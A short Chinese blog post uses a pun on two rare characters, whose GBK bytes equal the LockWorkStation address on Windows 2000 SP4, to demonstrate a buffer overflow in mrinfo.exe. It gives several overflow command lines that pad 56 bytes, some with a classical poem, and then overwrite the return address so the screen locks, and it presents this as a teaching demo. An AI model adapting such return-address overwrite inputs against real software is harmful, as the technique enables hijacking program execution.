魙鋡

“魙鋡”

“魙”是一种鬼的名字，鬼死为聻。

《聊斋志异·章阿端》曾提及，

“人死为鬼，鬼死为聻。鬼之畏聻，犹人之畏鬼也。”

（人死后变成鬼，鬼死后变成聻。鬼害怕聻，就像人害怕鬼一样。）

“鋡”是容纳的意思，这两个字念“沾寒”。

知道这些不是因为我有多少学问，是因为我有字典；想起这两个字不是因为我心血来潮，是因为它们加在一起就是Little Endian的0x77e47df4，也就是Windows 2000 SP4上LockWorkStation这个API的地址。

Windows 2000的mrinfo.exe处理命令行参数是有溢出的。当然，这个溢出没什么利用价值，但是可以这样玩玩：

mrinfo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA魙鋡

前面一共要填充56字节，折成汉字就是28个，正好一首七绝。所以也可以这样写：

mrinfo 人间四月芳菲尽山寺桃花始盛开长恨春归无觅处不知转入此中来魙鋡

加上标点也可以，正好是四分之一阙《满庭芳》：

mrinfo 黑发难留，朱颜易变，人生不比青松；名消利息，一派落花风。魙鋡

“魙鋡”，也就是LockWorkStation的指针会覆盖返回地址，于是这个API执行，然后就锁屏了。（这个比用 rundll32 user32,LockWorkStation 来锁屏更有意思）

给外行讲缓冲区溢出，可以做做这个试验。即使是完全没接触过这方面知识的人，也会比较容易理解，起码能留下很深刻的印象，特别是做售前和搞培训的时候。